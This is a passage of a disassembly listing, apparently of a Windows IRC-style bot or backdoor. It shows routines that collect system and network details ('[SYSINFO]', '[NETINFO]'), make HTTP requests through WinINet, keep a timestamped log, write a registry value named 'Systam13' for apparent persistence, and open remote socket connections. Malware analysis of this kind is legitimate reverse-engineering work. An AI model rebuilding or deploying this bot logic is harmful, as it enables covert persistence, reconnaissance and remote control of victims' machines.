		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B98B:				; CODE XREF: sub_40B8D8+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B9A2

loc_40B99B:				; CODE XREF: sub_40B8D8+7Cj
					; sub_40B8D8+8Ej
		mov	[ebp+var_4], offset dword_42DDDC

loc_40B9A2:				; CODE XREF: sub_40B8D8+73j
					; sub_40B8D8+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B9DA

loc_40B9AB:				; CODE XREF: sub_40B8D8+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B9DA
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42DDD4
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_40B9DA:				; CODE XREF: sub_40B8D8+54j
					; sub_40B8D8+D1j ...
		mov	ax, ds:word_42DDD0
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, ds:dword_43F554
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40BA13
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA

loc_40BA13:				; CODE XREF: sub_40B8D8+12Cj
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_43F620	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40BA3C
		push	dword ptr [eax]
		jmp	short loc_40BA41
; ---------------------------------------------------------------------------

loc_40BA3C:				; CODE XREF: sub_40B8D8+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_40BA41:				; CODE XREF: sub_40B8D8+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	ds:dword_424068	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	ds:dword_42409C	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_424098	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	ds:dword_424148	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4192B8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B721
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B822
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB8C	proc near		; CODE XREF: sub_40EE72+4555p
					; sub_40EE72+5A1Dp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	ds:dword_43F750, 0
		jnz	short loc_40BBF8
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_43F538	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_40BBE1
		lea	eax, [ebp+var_8C]
		push	offset dword_42DE50
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_40BBE1:				; CODE XREF: sub_40BB8C+40j
		test	[ebp+var_C], 1
		jz	short loc_40BBEE
		push	offset dword_42DE48
		jmp	short loc_40BBF3
; ---------------------------------------------------------------------------

loc_40BBEE:				; CODE XREF: sub_40BB8C+59j
		push	offset dword_42DE44

loc_40BBF3:				; CODE XREF: sub_40BB8C+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_40BC10
; ---------------------------------------------------------------------------

loc_40BBF8:				; CODE XREF: sub_40BB8C+28j
		mov	esi, offset off_42DE40
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_40BC10:				; CODE XREF: sub_40BB8C+6Aj
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40BB8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC4B	proc near		; DATA XREF: sub_40EE72+4974o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42DF80
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417330
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417330
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	ds:dword_43F570	; InternetCrackUrlA
		test	eax, eax
		jz	loc_40BDE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40BD22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD22:				; CODE XREF: sub_40BC4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40BD40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD40:				; CODE XREF: sub_40BC4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40BD5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD5A:				; CODE XREF: sub_40BC4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40BD74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD74:				; CODE XREF: sub_40BC4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	ds:dword_43F618
		call	ds:dword_43F63C	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40BDFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	ds:dword_43F630	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40BE04
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	ds:dword_43F5E4	; HttpSendRequestA
		test	eax, eax
		jz	short loc_40BDDE
		push	offset dword_42DF54
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BDDE:				; CODE XREF: sub_40BC4B+18Aj
		push	offset unk_42DF08
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BDE5:				; CODE XREF: sub_40BC4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42DEDC
		push	eax
		call	sub_4172AE
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40BE17
; ---------------------------------------------------------------------------

loc_40BDFD:				; CODE XREF: sub_40BC4B+153j
		push	offset unk_42DEA0
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BE04:				; CODE XREF: sub_40BC4B+17Bj
		push	offset unk_42DE60

loc_40BE09:				; CODE XREF: sub_40BC4B+191j
					; sub_40BC4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_40BE17:				; CODE XREF: sub_40BC4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40BE42
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40D679
		add	esp, 14h

loc_40BE42:				; CODE XREF: sub_40BC4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	esi
		call	ds:dword_43F69C	; InternetCloseHandle
		push	[ebp+var_4]
		call	ds:dword_43F69C	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40BC4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE75	proc near		; CODE XREF: sub_40EE72+448Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_444340
		mov	edi, 0B8h

loc_40BE89:				; CODE XREF: sub_40BE75+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40BEAC
		push	[ebp+arg_0]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BEAC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_444EC0
		jl	short loc_40BE89
		jmp	short loc_40BEEE
; ---------------------------------------------------------------------------

loc_40BEAC:				; CODE XREF: sub_40BE75+17j
					; sub_40BE75+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_444340[esi]
		push	ebx
		call	sub_417330
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_418C10
		push	9Fh
		lea	eax, dword_444358[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_418C10
		add	esp, 24h
		inc	ds:dword_4313B4
		pop	ebx

loc_40BEEE:				; CODE XREF: sub_40BE75+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40BE75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEF5	proc near		; CODE XREF: sub_40EE72+5B56p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42DF90
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_444340

loc_40BF1F:				; CODE XREF: sub_40BEF5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40BF5A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42DF84
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch

loc_40BF5A:				; CODE XREF: sub_40BEF5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_444EC0
		jl	short loc_40BF1F
		pop	edi
		pop	esi
		leave
		retn
sub_40BEF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF6D	proc near		; CODE XREF: sub_401000+9Ap
					; sub_4010B5+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_42406C	; GetLocalTime
		mov	ebx, offset dword_443A34
		mov	edi, 80h
		mov	esi, offset dword_43FA34

loc_40BF8F:				; CODE XREF: sub_40BF6D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40BFA6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BFA6:				; CODE XREF: sub_40BF6D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40BF8F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFE1	proc near		; CODE XREF: sub_407BDE+15Bp
					; sub_407D66+1AFp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4193FF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		leave
		retn
sub_40BFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C00D	proc near		; CODE XREF: sub_40EE72+5A4Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43FA34
		xor	ecx, ecx

loc_40C014:				; CODE XREF: sub_40C00D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_443A34
		jl	short loc_40C014
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42DFC4
		jnz	short loc_40C044
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40C044:				; CODE XREF: sub_40C00D+1Fj
		push	esi
		call	sub_40BF6D
		pop	ecx
		pop	esi
		retn
sub_40C00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C04D	proc near		; CODE XREF: sub_402DD7+2AEp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43FA34

loc_40C053:				; CODE XREF: sub_40C04D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40C068
		push	[esp+4+arg_0]
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C07A

loc_40C068:				; CODE XREF: sub_40C04D+9j
		add	esi, 80h
		cmp	esi, offset dword_443A34
		jl	short loc_40C053
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40C07A:				; CODE XREF: sub_40C04D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40C04D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C07F	proc near		; DATA XREF: sub_40EE72+5B00o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40C0D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42E018
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C0D2:				; CODE XREF: sub_40C07F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40C0F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40C0F2
		mov	[ebp+var_8], eax

loc_40C0F2:				; CODE XREF: sub_40C07F+5Aj
					; sub_40C07F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43FA34

loc_40C0FB:				; CODE XREF: sub_40C07F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40C155
		cmp	byte ptr [esi],	0
		jz	short loc_40C144
		cmp	[ebp+var_98], 0
		jz	short loc_40C12A
		cmp	[ebp+var_4], 0
		jnz	short loc_40C12A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C144

loc_40C12A:				; CODE XREF: sub_40C07F+90j
					; sub_40C07F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C144:				; CODE XREF: sub_40C07F+87j
					; sub_40C07F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_443A34
		jl	short loc_40C0FB

loc_40C155:				; CODE XREF: sub_40C07F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42DFEC
		push	eax
		call	sub_4172AE
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40C18F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C18F:				; CODE XREF: sub_40C07F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
sub_40C07F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1AE	proc near		; CODE XREF: sub_40AC42+1Ep
					; sub_40E6A9+346p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42E038
		xor	esi, esi
		mov	ebx, offset aSystam13 ;	"Systam13"

loc_40C1C1:				; CODE XREF: sub_40C1AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	ds:dword_43F61C	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40C1FB
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_43F68C	; RegSetValueExA
		jmp	short loc_40C205
; ---------------------------------------------------------------------------

loc_40C1FB:				; CODE XREF: sub_40C1AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_43F5D4	; RegDeleteValueA

loc_40C205:				; CODE XREF: sub_40C1AE+4Bj
		push	[ebp+var_4]
		call	ds:dword_43F644	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_42E050
		jb	short loc_40C1C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C21E	proc near		; CODE XREF: sub_40C259+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40C253
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_40C237:				; CODE XREF: sub_40C21E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_424298[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C237
		pop	edi
		pop	ebx

loc_40C253:				; CODE XREF: sub_40C21E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40C21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C259	proc near		; CODE XREF: sub_40CAF1+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417B89
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4179A8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40C2A8

loc_40C27E:				; CODE XREF: sub_40C259+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40C2AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_41944F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C2A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_418A86
		add	esp, 10h
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------

loc_40C2A8:				; CODE XREF: sub_40C259+23j
					; sub_40C259+39j
		xor	eax, eax
		jmp	short loc_40C2C7
; ---------------------------------------------------------------------------

loc_40C2AC:				; CODE XREF: sub_40C259+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C21E
		push	esi
		mov	ebx, eax
		call	sub_417C3B
		push	edi
		call	sub_417900
		add	esp, 10h
		mov	eax, ebx

loc_40C2C7:				; CODE XREF: sub_40C259+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2CB	proc near		; CODE XREF: sub_40C351+33p
					; sub_40C8B4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	ds:dword_43F6E8	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C347
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	ds:dword_43F668	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	ds:dword_43F6A8	; inet_addr
		cmp	eax, esi
		jnz	short loc_40C32C
		push	[ebp+arg_0]
		call	ds:dword_43F6EC	; gethostbyname
		test	eax, eax
		jz	short loc_40C347
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_40C32C:				; CODE XREF: sub_40C2CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_43F610	; connect
		cmp	eax, esi
		jnz	short loc_40C34B
		push	edi
		call	ds:dword_43F700	; closesocket

loc_40C347:				; CODE XREF: sub_40C2CB+1Bj
					; sub_40C2CB+58j
		mov	eax, esi
		jmp	short loc_40C34D
; ---------------------------------------------------------------------------

loc_40C34B:				; CODE XREF: sub_40C2CB+73j
		mov	eax, edi

loc_40C34D:				; CODE XREF: sub_40C2CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C351	proc near		; DATA XREF: sub_40EE72+A88o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C2CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C3E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E0D4
		push	eax
		call	sub_4172AE
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C3C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C3C7:				; CODE XREF: sub_40C351+59j
		lea	eax, [ebp+var_11B4]
